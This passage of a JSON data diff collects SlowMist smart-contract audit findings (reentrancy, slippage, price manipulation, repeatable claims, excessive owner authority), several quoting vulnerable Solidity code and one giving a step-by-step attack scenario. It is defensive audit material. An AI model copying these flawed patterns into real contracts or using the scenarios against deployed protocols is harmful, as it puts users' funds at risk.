"https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - TaprootChain - BTCLayer2Bridge_en-us.pdf", + "body": "In the BTCLayer2Bridge contract, the burnERC20Token, batchBurnERC721Token, lockNativeToken, and unlockNativeToken use low-level calls to transfer native tokens to the feeAddress and to address from the unlockNativeToken function. But do not limit the amount of gas used to transfer native tokens to the user. ", + "labels": [ + "SlowMist", + "TaprootChain - BTCLayer2Bridge", + "Type: Reentrancy Vulnerability", + "Severity: Suggestion" + ] + }, + { + "title": "Preemptive Initialization", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - TaprootChain - BTCLayer2Bridge_en-us.pdf", + "body": "By calling the initialize and deploy functions to initialize the contracts, there is a potential issue that malicious attackers preemptively call the initialize function to initialize. ", + "labels": [ + "SlowMist", + "TaprootChain - BTCLayer2Bridge", + "Type: Race Conditions Vulnerability", + "Severity: Suggestion" + ] + }, + { + "title": "Dev address setting enhancement suggestions", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - TaprootChain - BTCLayer2Bridge_en-us.pdf", + "body": "In the contract, the superAdmin role can set the feeAddress to receive the fee. If the addfeeAddress is an EOA address, in a scenario where the private keys are leaked, the teams revenue will be stolen. ", + "labels": [ + "SlowMist", + "TaprootChain - BTCLayer2Bridge", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "External call reminder", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - TaprootChain - BTCLayer2Bridge_en-us.pdf", + "body": "In the contract, the core functions mintERC20Token , burnERC20Token , batchMintERC721Token , batchBurnERC721Token , unlockNativeToken , and lockNativeToken , which are mainly used for fund interaction by unlockTokenAdminAddressSupported users, are all completed by external calls to bridgeERC20Address and bridgeERC721Address. The current contract also does complete verication of the incoming parameters txHash , _symbol , _baseURI , destBtcAddr , inscriptionNumbers , inscriptionIds , etc., and these verications may be completed by a centralized system or these external call contracts. This audit does not include centralized systems or external call contracts. Users need to pay attention to these external risks when calling these functions.", + "labels": [ + "SlowMist", + "TaprootChain - BTCLayer2Bridge", + "Type: Unsafe External Call Audit", + "Severity: Suggestion" + ] + }, + { + "title": "Excessive Authority Issue", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - wault.finance(WSwap)_en-us.pdf", + "body": "The owner can set the value of wexPerBlock arbitrarily, which will affect the profit of wexReward, and there is no limit on the value range of wexPerBlock, and there is a issue of excessive authority. https://bscscan.com/address/0x22fB2663C7ca71Adc2cc99481C77Aaf21E152e2D function setWexPerBlock(uint256 _wexPerBlock) public onlyOwner { require(_wexPerBlock > 0, \"!wexPerBlock-0\"); wexPerBlock = _wexPerBlock; } Owner can add pool, can set the allocPoint of pool, there is a issue of selfish mining. function add( uint256 _allocPoint, IERC20 _lpToken, bool _withUpdate ) public onlyOwner { if (_withUpdate) { massUpdatePools(); } uint256 lastRewardBlock = block.number > startBlock ? block.number : startBlock; totalAllocPoint = totalAllocPoint.add(_allocPoint); poolInfo.push( PoolInfo({ lpToken: _lpToken, allocPoint: _allocPoint, lastRewardBlock: lastRewardBlock, accWexPerShare: 0 }) ); 12 function set( uint256 _pid, uint256 _allocPoint, bool _withUpdate ) public onlyOwner { if (_withUpdate) { massUpdatePools(); } totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add( _allocPoint ); poolInfo[_pid].allocPoint = _allocPoint; }", + "labels": [ + "SlowMist", + "wault.finance(WSwap)", + "Type: Others", + "Severity: Low" + ] + }, + { + "title": "Ignoring the Return Value", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist_Audit_Report_StakeStone_SymbioticDepositWBETHStrategy_en-us.pdf", + "body": "In the SymbioticDepositWBETHStrategy contract, the owner can extract the claimable ETH by calling the claimPendingAssets function. This function will call the claimWithdraw function of the UnwrapTokenV1ETH contract to claim the corresponding ETH by passing in a specic index. The claimWithDraw function returns a value (_ethAmount) after each call to represent the number of ETH claimed. Code Location: contracts/strategies/SymbioticDepositWBETHStrategy.sol#L176 function claimPendingAssets(uint256 _index) external onlyOwner { IUnwrapTokenV1ETH(unwrapTokenV1ETHAddr).claimWithdraw(_index); }", + "labels": [ + "SlowMist", + "SlowMist_Audit_Report_StakeStone_SymbioticDepositWBETHStrategy", + "Type: Others", + "Severity: Information" + ] + }, + { + "title": "Unable to perform uniswapV3FlashCallback operation", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/DeSyn ETH Flashloan Leverage Staking - SlowMist Audit Report.pdf", + "body": "In LeverageStake contracts, the uniswapV3FlashCallback function is called by the Uniswap v3 Pool ash function. It will call the repayBorrow/withdraw/deposit function within the LeverageStake contract to interact with the AAVE. However, the repayBorrow/withdraw/deposit function uses _checkTx for permission checking and can only be called by the admin role. This will result in the Uniswap v3 Pool not being able to call back to the uniswapV3FlashCallback function properly. ", + "labels": [ + "SlowMist", + "DeSyn ETH Flashloan Leverage Staking - SlowMist Audit Report", + "Type: Design Logic Audit", + "Severity: Critical" + ] + }, + { + "title": "Potential liquidation risk caused by unrestricted ash loan leverage", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/DeSyn ETH Flashloan Leverage Staking - SlowMist Audit Report.pdf", + "body": "In LeverageStake contracts, the user can ashloan from the Uniswap v3 Pool with the function createLeverByFlashloan in order to make deposits in AAVE for higher prots. Unfortunately the increaseLeverByFlashloan function does not check the amount of leverage on the current bPool debt. This allows a malicious caller to increase the leverage of the bPool with the increaseLeverByFlashloan function to bring the user's funds closer to the liquidation line. This puts the user's funds at risk of liquidation when the stETH price uctuates. ", + "labels": [ + "SlowMist", + "DeSyn ETH Flashloan Leverage Staking - SlowMist Audit Report", + "Type: Design Logic Audit", + "Severity: Medium" + ] + }, + { + "title": "Flashloan function missing privilege control", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/DeSyn ETH Flashloan Leverage Staking - SlowMist Audit Report.pdf", + "body": "In the LeverageStake contract, any user can call the increaseLeverByFlashloan/decreaseLeverByFlashloan function. Malicious users can consume bPool funds through frequent calls, for example: exchange slippage leads to capital damage, frequent entry/exit of the AAVE pool leads to losses in fees, and frequent ash loans lead to losses in ash loan fees. Although this consumes gas for the malicious caller, it can reduce losses or even make a prot by arbitraging in the Curve Pool or providing liquidity in the Uniswap Pool. ", + "labels": [ + "SlowMist", + "DeSyn ETH Flashloan Leverage Staking - SlowMist Audit Report", + "Type: Authority Control Vulnerability Audit", + "Severity: High" + ] + }, + { + "title": "Allowing the free choice of isTrade leads to a potential risk of arbitrage", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/DeSyn ETH Flashloan Leverage Staking - SlowMist Audit Report.pdf", + "body": "The increaseLever/increaseLeverByFlashloan/convertToAstEth functions of the LeverageStake contract allow the user to freely choose whether or not to exchange ETH-stETH through the Curve Pool by passing in the isTrade parameter. Even though the contract has a slippage check via the defaultSlippage parameter, the user still has an arbitrage prot. ", + "labels": [ + "SlowMist", + "DeSyn ETH Flashloan Leverage Staking - SlowMist Audit Report", + "Type: Reordering Vulnerability", + "Severity: Suggestion" + ] + }, + { + "title": "Allow any type of ETF to interact with AAVE", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/DeSyn ETH Flashloan Leverage Staking - SlowMist Audit Report.pdf", + "body": "In the _checkTx function of the LeverageStake contract, it uses if conditions to check the status of the ETF, which means that both open and closed ETFs can interact with AAVE. And for closed ETFs, it will no longer check whether the closed period of the pool has ended. This is dierent from the previous version's implementation. ", + "labels": [ + "SlowMist", + "DeSyn ETH Flashloan Leverage Staking - SlowMist Audit Report", + "Type: Others", + "Severity: Information" + ] + }, + { + "title": "Risk of unintended claim operations", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - pufETH_en-us.pdf", + "body": "In the PuerVault contract, Users can collect ETH tokens to be claimed in the lido withdrawal process by calling the claimWithdrawalsFromLido function. The normal expectation of this function is that the incoming requestIds parameter should be created by the initiateETHWithdrawalsFromLido function, and only then the lidoLockedETH variable will be deducted correctly. However, a malicious user can directly call requestWithdrawals function in lido to generate requestIds, and then call claimWithdrawalsFromLido function, lidoLockedETH will be deducted additionally, resulting in a normal claim operation failing due to insucient lidoLockedETH. The following scenarios can be used as a reference: 1. The contract has a total of 10 ETH total deposited in Lido, at which point a normal user calls the initiateETHWithdrawalsFromLido function to submit a request to withdraw 10 ETH($.lidoLockedETH = 10). 2. A malicious user calls requestWithdrawals function directly on Lido to generate a withdrawal request to withdraw 1 ETH(need to specify WithdrawalRequest._owner as puerVault). 3. The malicious user calls the claimWithdrawalsFromLido function and passes in the requestIds generated in step 2, the value of $.lidoLockedETH is equal to 9. 4. A normal user calls the claimWithdrawalsFromLido function and passes in the requestIds generated in the rst step, at which point the amount of ETH to be fetched is 10, while the value of $.lidoLockedETH is 9, which causes $.lidoLockedETH -= msg.value to overow and the entire transaction fails. 5. So the nal result is that 10 ETH cannot be successfully withdrawn through the puerVault contract. And this security risk also exists when withdrawing ETH from EigenLayer(Specify withdrawer as the puerVault address to achieve the same eect). ", + "labels": [ + "SlowMist", + "pufETH", + "Type: Design Logic Audit", + "Severity: Medium" + ] + }, + { + "title": "Authority transfer enhancement", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - pufETH_en-us.pdf", + "body": "The pauserMultisig role does not adopt the pending and access processes. If the pauserMultisig is incorrectly set, the owner permission will be lost. ", + "labels": [ + "SlowMist", + "pufETH", + "Type: Authority Control Vulnerability Audit", + "Severity: Suggestion" + ] + }, + { + "title": "Gas optimization", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Laqira NFT marketplace_en-us.pdf", + "body": "Using assert will consume the remaining gas when the transaction fails to execute. ", + "labels": [ + "SlowMist", + "Laqira NFT marketplace", + "Type: Gas Optimization Audit", + "Severity: Suggestion" + ] + }, + { + "title": "Unused return", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Laqira NFT marketplace_en-us.pdf", + "body": "There is a return value in the setRoyalties function in the RoyaltiesProvider contract, and the function is called here without checking its return value. Laqira-Collectibles-and-NFT-Marketplace/contracts/LaqiraNFT.sol #L58-L76 function mint(string memory _tokenURI, address[] memory royaltyOwners, uint96[] memory values) public virtual payable { uint256 transferredAmount = msg.value; require(transferredAmount >= mintingFee, 'Insufficient paid amount'); (bool success, ) = feeAddress.call{value: transferredAmount}(new bytes(0)); 14 require(success, 'Transfer failed'); _tokenIds.increment(); uint256 newTokenId = _tokenIds.current(); pendingRequests.push(newTokenId); _pendingIds[newTokenId].owner = _msgSender(); _pendingIds[newTokenId].tokenURI = _tokenURI; _userPendingIds[_msgSender()].push(newTokenId); IRoyaltiesProvider(royaltiesProviderAddress).setRoyalties(newTokenId, royaltyOwners, values); }", + "labels": [ + "SlowMist", + "Laqira NFT marketplace", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "Missing event record", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Laqira NFT marketplace_en-us.pdf", + "body": "Modifying sensitive parameters in the contract does not log an event. Laqira-Collectibles-and-NFT-Marketplace/contracts/LaqiraNFT.sol #L123-L133 function setMintingFeeAmount(uint256 _amount) public virtual onlyOwner { mintingFee = _amount; } function setAsOperator(address _operator) public virtual onlyOwner { operators[_operator] = true; } function removeOperator(address _operator) public virtual onlyOwner { operators[_operator] = false; } 15 ", + "labels": [ + "SlowMist", + "Laqira NFT marketplace", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "Missing zero address validation", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Laqira NFT marketplace_en-us.pdf", + "body": "Missing zero address validation when setting the address in the function. ", + "labels": [ + "SlowMist", + "Laqira NFT marketplace", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "Redundant code", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - IHO V1.0.0_en-us.pdf", + "body": "Ether is not accepted by default, which is a redundant code. cross-send/contracts/CrossSend.sol#L41-L47 initial-hotcross-oering/contracts/BaseIHO.sol#L67-L73 fallback () external payable { revert(\"cannot directly accept currency transfers\"); } receive () external payable { revert(\"cannot directly receive currency transfers\"); 15 }", + "labels": [ + "SlowMist", + "IHO V1.0.0", + "Type: Gas Optimization Audit", + "Severity: Suggestion" + ] + }, + { + "title": "Gas optimization", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - IHO V1.0.0_en-us.pdf", + "body": "If one of the batch transfers fails, the transaction that was previously transferred normally will be reverted, but Gas has been consumed. It is a gas optimization issue here. cross-send/contracts/CrossSend.sol#L175-L210 function sendToken( IERC20 token, address[] memory recipients, uint256[] memory amounts ) private returns(uint256) { uint256 total = 0; for (uint256 i = 0; i < recipients.length ; i++) { require(_msgSender() != recipients[i], \"sender != recipient\"); token.safeTransferFrom(_msgSender(), recipients[i], amounts[i]); total += amounts[i]; } return total; } function sendNative( address[] memory recipients, uint256[] memory amounts ) private returns(uint256) { uint256 total = 0; 16 for (uint256 i = 0; i < recipients.length ; i++) { total += amounts[i]; (bool success, ) = payable(recipients[i]).call{value: amounts[i]}(\"\"); require(success, \"native transfer failed\"); } return total; }", + "labels": [ + "SlowMist", + "IHO V1.0.0", + "Type: Gas Optimization Audit", + "Severity: Suggestion" + ] + }, + { + "title": "Risk of allowance amount abuse", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - IHO V1.0.0_en-us.pdf", + "body": "There have an allowance amount in the contract, but the distributeTokenFee function does not limit the caller, and there is an issue of being called arbitrarily, but it can only transfer the balance of the sender to the feeCollector. cross-send/contracts/fee-managers/RecipientCountFee.sol#L65-L83 function distributeTokenFee( uint256 txRecipientCount, uint256, uint256, uint256, uint256, address sender ) public override { uint256 payableFee = txRecipientCount * tokenFeePerRecipient; 17 if(payableFee < minTokenFee) { payableFee = minTokenFee; } else if (payableFee > maxTokenFee) { payableFee = maxTokenFee; } token.safeTransferFrom(sender, feeCollector, payableFee); }", + "labels": [ + "SlowMist", + "IHO V1.0.0", + "Type: Authority Control Vulnerability", + "Severity: Low" + ] + }, + { + "title": "Price manipulation issue", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - IHO V1.0.0_en-us.pdf", + "body": "The IOUPrice is calculated using totalFarmingTokenBalance. Attackers can control totalFarmingTokenBalance to manipulate IOUPrice. The current code does not nd the location where IOUPrice is used. Referencehttps://slowmist.medium.com/cream-hacked-analysis-us-130-million-hacked-95c9410320ca cross-yield/contracts/core/CrossYield.sol#L95-L101 function IOUPrice() public view returns (uint256) { uint256 IOUSupply = totalSupply(); return IOUSupply == 0 ? 1e18 : (totalFarmingTokenBalance() * 1e18) / IOUSupply; } 18 cross-yield/contracts/core/CrossYield.sol#L65-L67 function totalFarmingTokenBalance() public view returns (uint256) { return farmingToken().balanceOf(address(this)) + strategy.balanceOf(); }", + "labels": [ + "SlowMist", + "IHO V1.0.0", + "Type: Others", + "Severity: Medium" + ] + }, + { + "title": "Sandwich attacks issue", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - IHO V1.0.0_en-us.pdf", + "body": "There is no slippage check during swap, and there is a risk of sandwich attack. IPancakeRouter02(pcsRouter).swapExactTokensForTokens(cakeBalance, 0,cakeToBaseRoute, address(this), block.timestamp); IPancakeRouter02(pcsRouter) .swapExactTokensForTokens(toSwap, 0, route, address(this), block.timestamp); Reference https://medium.com/coinmonks/demystify-the-dark-forest-on-ethereum-sandwich-attacks-5a3aec9fa33e cross-yield/contracts/libs/OptimalSwap.sol#L14-L63 function prepareLiquidity( address cake, address[2] memory lpTokens, 19 address wbnb, address busd, address farmingToken, address pcsRouter, uint256 fee ) external { uint256 cakeBalance = IERC20(cake).balanceOf(address(this)); bool isCakeInLp = lpTokens[0] == cake || lpTokens[1] == cake; bool isWbnbBased = lpTokens[0] == wbnb || lpTokens[1] == wbnb; address baseToken = isWbnbBased ? wbnb : busd; // if cake is not part of the lp token, swap all cake for the base token if (!isCakeInLp) { address[] memory cakeToBaseRoute = new address[](2); cakeToBaseRoute[0] = cake; cakeToBaseRoute[1] = baseToken; IPancakeRouter02(pcsRouter) .swapExactTokensForTokens(cakeBalance, 0, cakeToBaseRoute, address(this), block.timestamp); } (uint256 reserve0, uint256 reserve1,) = IPancakePair(farmingToken).getReserves(); address[] memory route = new address[](2); uint256 lp0Bal = IERC20(lpTokens[0]).balanceOf(address(this)); uint256 lp1Bal = IERC20(lpTokens[1]).balanceOf(address(this)); uint256 toSwap; // The possible cases here are: // - Cake was not part of the LP token, so we swap for baseToken which could either be lpToken0 or lpToken // - Cake was part of the LP token, so it can either be lpTokens[0] or lpTokens[1] // So, depending on which token we have the highest balance for, we swap for the other one. if (lp0Bal > lp1Bal) { toSwap = SwapAmount.getSwapAmount(lp0Bal, reserve0, fee); route[0] = lpTokens[0]; route[1] = lpTokens[1]; } else { toSwap = SwapAmount.getSwapAmount(lp1Bal, reserve1, fee); route[0] = lpTokens[1]; route[1] = lpTokens[0]; 20 } // Perform the swap IPancakeRouter02(pcsRouter) .swapExactTokensForTokens(toSwap, 0, route, address(this), block.timestamp); } IPancakeRouter02(pcsRouter).swapExactTokensForTokens(toWbnb, 0, cakeToWbnbRoute, address(this), block.timestamp); cross-yield/contracts/strategies/StrategyCake.sol#L131 function collectFees() internal { // a percentant of the cake we get from the masterchef will be used to buy BNB and transfer to this address // this is the total fees that will be shared amongst the protocol, stategy dev and the harvester uint256 toWbnb = feeManager.calculateTotalFee(IERC20(farmingToken).balanceOf(address(this))); IPancakeRouter02(pcsRouter).swapExactTokensForTokens(toWbnb, 0, cakeToWbnbRoute, address(this), block.timestamp); uint256 wbnbBal = IERC20(wbnb).balanceOf(address(this)); // distribute hervester fee uint256 harvesterFeeAmount = feeManager.calculateHarvestFee(wbnbBal); // collectFees is called indirectly from the CrossYield contract via the beforeDeposit hook. // This means that _msgSender() is the CrossYield contract and not the actuall EOA account // that send the transaction IERC20(wbnb).safeTransfer(tx.origin, harvesterFeeAmount); // distribute protocol fee uint256 protocolFeeAmount = feeManager.calculateProtocolFee(wbnbBal); // IERC20(wbnb).safeTransfer(protocolFeeRecipient, protocolFeeAmount); feeProcessor.process(protocolFeeAmount); // distribute strategy dev fee uint256 strategyDevFeeAmount = feeManager.calculateStrategyDevFee(wbnbBal); IERC20(wbnb).safeTransfer(feeManager.strategyDev(), strategyDevFeeAmount); emit FeeCollected( toWbnb, 21 harvesterFeeAmount, protocolFeeAmount, strategyDevFeeAmount, _msgSender() ); } cross-yield/contracts/strategies/StrategyCakeLP.sol#L174 function collectFees() internal { // a percentant of the cake we get from the masterchef will be used to buy BNB and transfer to this address // this is the total fees that will be shared amongst the protocol, stategy dev and the harvester uint256 toWbnb = feeManager.calculateTotalFee(IERC20(cake).balanceOf(address(this))); IPancakeRouter02(pcsRouter).swapExactTokensForTokens(toWbnb, 0, cakeToWbnbRoute, address(this), block.timestamp); uint256 wbnbBal = IERC20(wbnb).balanceOf(address(this)); // distribute hervester fee uint256 harvesterFeeAmount = feeManager.calculateHarvestFee(wbnbBal); IERC20(wbnb).safeTransfer(_msgSender(), harvesterFeeAmount); // distribute protocol fee uint256 protocolFeeAmount = feeManager.calculateProtocolFee(wbnbBal); feeProcessor.process(protocolFeeAmount); // distribute strategy dev fee uint256 strategyDevFeeAmount = feeManager.calculateStrategyDevFee(wbnbBal); IERC20(wbnb).safeTransfer(feeManager.strategyDev(), strategyDevFeeAmount); emit FeeCollected( toWbnb, harvesterFeeAmount, protocolFeeAmount, strategyDevFeeAmount, _msgSender() ); } cross-yield/contracts/strategies/StrategyCake.sol 22 function harvest() public override whenNotPaused { // claim rewards IMasterChef(masterchef).leaveStaking(0); // because harvest can automatically be called after each user deposit // we might end up having multiple deposits in the same block and only one // would return rewards from masterchef so the rest will have 0 cake so // we don't need to waste gas to collect fees and call deposit uint256 farmingTokenBalance = balanceOfFarmingToken(); if(farmingTokenBalance > 0) { collectFees(); deposit(); emit HarvestTriggered(_msgSender(), farmingTokenBalance); } } cross-yield/contracts/strategies/StrategyCakeLP.sol#l137-L148 function harvest() external override whenNotPaused { // claim rewards IMasterChef(masterchef).deposit(poolId, 0); uint256 harvestedAmount = IERC20(cake).balanceOf(address(this)); collectFees(); addLiquidity(); deposit(); emit HarvestTriggered(_msgSender(), harvestedAmount); }", + "labels": [ + "SlowMist", + "IHO V1.0.0", + "Type: Reordering Vulnerability", + "Severity: Medium" + ] + }, + { + "title": "Missing slippage check", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - IHO V1.0.0_en-us.pdf", + "body": "The addLiquidity function without slippage check, it doesn't have an impermanent loss check. cross-yield/contracts/strategies/StrategyCakeLP.sol#L218 function addLiquidity() internal { OptimalSwap.prepareLiquidity( cake, [lpToken0, lpToken1], wbnb, busd, farmingToken, pcsRouter, swapFee ); // add liquidity to AMM on PCS uint256 lp0Bal = IERC20(lpToken0).balanceOf(address(this)); uint256 lp1Bal = IERC20(lpToken1).balanceOf(address(this)); IPancakeRouter02(pcsRouter) .addLiquidity(lpToken0, lpToken1, lp0Bal, lp1Bal, 0, 0, address(this), block.timestamp); emit LiquidityAdded(lpToken0, lpToken1, lp0Bal, lp1Bal, _msgSender()); }", + "labels": [ + "SlowMist", + "IHO V1.0.0", + "Type: Reordering Vulnerability", + "Severity: Low" + ] + }, + { + "title": "Permission check Missing", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - IHO V1.0.0_en-us.pdf", + "body": "There is no permission check for deposit function. The function is called by the CrossYieid contract. cross-yield/contracts/strategies/StrategyCakeLP.sol#L225-L231 function deposit() public override whenNotPaused { uint256 farmingTokenBalance = balanceOfFarmingToken(); if (farmingTokenBalance > 0) { IMasterChef(masterchef).deposit(poolId, farmingTokenBalance); } } cross-yield/contracts/strategies/StrategyCake.sol#L169-L175 function deposit() public override whenNotPaused { uint256 farmingTokenBalance = balanceOfFarmingToken(); if (farmingTokenBalance > 0) { IMasterChef(masterchef).enterStaking(farmingTokenBalance); } }", + "labels": [ + "SlowMist", + "IHO V1.0.0", + "Type: Authority Control Vulnerability", + "Severity: Low" + ] + }, + { + "title": "Excessive authority issue 25", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - IHO V1.0.0_en-us.pdf", + "body": "Owner can modify the address of the strategy. The new strategy may have security risks if it is not audited, which will aect the user's funds. If the private key is leaked, it will aect the user's funds. cross-yield/contracts/core/CrossYield.sol#L224-L236 function upgradeStrategy() public onlyOwner { require(stratCandidate.strategy != address(0), \"No proposal exists\"); require(block.number > stratCandidate.proposedBlock + stratUpgradableAfter, \"Strategy cannot be replaced yet\"); emit NewStrategy(stratCandidate.strategy); strategy.retireStrategy(); strategy = IStrategy(stratCandidate.strategy); stratCandidate.strategy = address(0); stratCandidate.proposedBlock = 0; putFundsToWork(); } cross-yield/contracts/core/CrossYield.sol#L211-L220 function proposeStrategy(address _strategy) public onlyOwner { require(address(this) == IStrategy(_strategy).vault(), \"Invalid new strategy\"); stratCandidate = StrategyCandidate({ strategy: _strategy, proposedBlock: block.number }); emit NewStratCandidate(_strategy); }", + "labels": [ + "SlowMist", + "IHO V1.0.0", + "Type: Authority Control Vulnerability", + "Severity: Medium" + ] + }, + { + "title": "Repeatable claims issue", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - IHO V1.0.0_en-us.pdf", + "body": "After the claim, lottery.status is not set as claimed, and it is also necessary to check whether lotteryId has been claimed when the claim is executed. hotdrop/contracts/HotDrop.sol#L261-L274 function claim(uint256 lotteryId) external nonReentrant { Lottery storage lottery = lotteries[lotteryId]; require(lottery.status == Status.WinnerDrawn, \"winner not drawn\"); // if there is no winner transfer the total amount to the treasury if(tickets[lotteryId][lottery.winningNumber] == address(0)) { lottery.purchaseToken.safeTransfer(treasury, lottery.purchaseToken.balanceOf(address(this))); } else if(tickets[lotteryId][lottery.winningNumber] == _msgSender()) { // if the ticket is the winning ticket and belongs to the user then split the pot uint256 treasuryAmount = (lottery.totalRaised * lottery.treasuryFee) / FEE_BASE; lottery.purchaseToken.safeTransfer(treasury, treasuryAmount); lottery.purchaseToken.safeTransfer(_msgSender(), lottery.totalRaised - treasuryAmount); } }", + "labels": [ + "SlowMist", + "IHO V1.0.0", + "Type: Design Logic Audit", + "Severity: Critical" + ] + }, + { + "title": "Round plan security reminder", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - IHO V1.0.0_en-us.pdf", + "body": "And the new round of lottery can only be opened when the last round of lottery is in WinnerDrawn, otherwise randomGenerator.latestLotteryId will be updated, which will cause the old lottery round to fail to execute drawWinner function due to this check. require(lotteryId == randomGenerator.latestLotteryId(), \"numbers not drawn\"); hotdrop/contracts/HotDrop.sol#L44-L256 function drawWinner(uint256 lotteryId) external nonReentrant { Lottery storage lottery = lotteries[lotteryId]; require(lottery.status == Status.Close, \"lottery still active\"); require(lotteryId == randomGenerator.latestLotteryId(), \"numbers not drawn\"); // get the winning number based on the randomResult generated by ChainLink's fallback uint256 winningNumber = randomGenerator.randomResult(); lottery.winningNumber = winningNumber; lottery.status = Status.WinnerDrawn; emit LotteryNumberDrawn(lotteryId, winningNumber); }", + "labels": [ + "SlowMist", + "IHO V1.0.0", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "Deposit defect issue", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Earning.Farm v3_en-us.pdf", + "body": "In the EFVault contract, it is not restricted to call the deposit function only by the DepositApprover contract. If the user transfers funds to the EFVault contract by mistake, any user can call the deposit function to deposit for himself. 19 ", + "labels": [ + "SlowMist", + "Earning.Farm v3", + "Type: Design Logic Audit", + "Severity: Low" + ] + }, + { + "title": "Incorrect withdrawal amount check", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Earning.Farm v3_en-us.pdf", + "body": "In the vault contract, users can withdraw funds through the withdraw function. It will check if the funds withdrawn by the user is less than the user's total deposit, but this will prevent the user from withdrawing all of their total deposit. ", + "labels": [ + "SlowMist", + "Earning.Farm v3", + "Type: Design Logic Audit", + "Severity: Low" + ] + }, + { + "title": "Risk of overburning shares", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Earning.Farm v3_en-us.pdf", + "body": "In the vault contract, users can burn their shares to withdraw funds through the withdraw function. However, when calculating the required burning share, it incorrectly divides the user's total deposit. This will cause the number of shares to be burned to be much larger than expected. ", + "labels": [ + "SlowMist", + "Earning.Farm v3", + "Type: Design Logic Audit", + "Severity: Critical" + ] + }, + { + "title": "Small deposit issue", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Earning.Farm v3_en-us.pdf", + "body": "When a user makes a deposit, the vault contract will deposit the user's funds into the strategy pool and then mint the 21 corresponding share to the user. If the total deposit of the contract is very large at this time, when the user deposits a small amount of funds, the nal result of the division operation will be 0 when the amount is too small when withdrawing. Causes the problem that small assets cannot be withdrawn.", + "labels": [ + "SlowMist", + "Earning.Farm v3", + "Type: Design Logic Audit", + "Severity: Low" + ] + }, + { + "title": "The deationary token issue", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Earning.Farm v3_en-us.pdf", + "body": "In the DepositApprover contract, the amount of the deposit is the amount passed in by the user. If the tokens supported by the protocol become deationary tokens in the future (for example, USDT enables the transfer fee function), this will cause the actual number of tokens received by the protocol to be inconsistent with the number of dedicated incoming tokens. The same is true for Controller and SS contracts. ", + "labels": [ + "SlowMist", + "Earning.Farm v3", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "Risk of share manipulation", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Earning.Farm v3_en-us.pdf", + "body": "When the user deposits in the agreement, the contract will mint the corresponding share to the user, and when the user withdraws, the corresponding share will be burned. The totalAssets function is used to participate in the calculation when calculating the share, and in the SS contract of the convex, the totalAssets are obtained through the calc_withdraw_one_coin function of the Curve Pool. However, the calc_withdraw_one_coin function is vulnerable to the balance in the Curve Pool, so malicious users can manipulate the calc_withdraw_one_coin function to aect the number of shares minted by the contract. ", + "labels": [ + "SlowMist", + "Earning.Farm v3", + "Type: Design Logic Audit", + "Severity: Critical" + ] + }, + { + "title": "Missing event records 23", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Earning.Farm v3_en-us.pdf", + "body": "In the vault contract, the owner can modify the maxDeposit, maxWithdraw, controller and depositApprover parameters through the 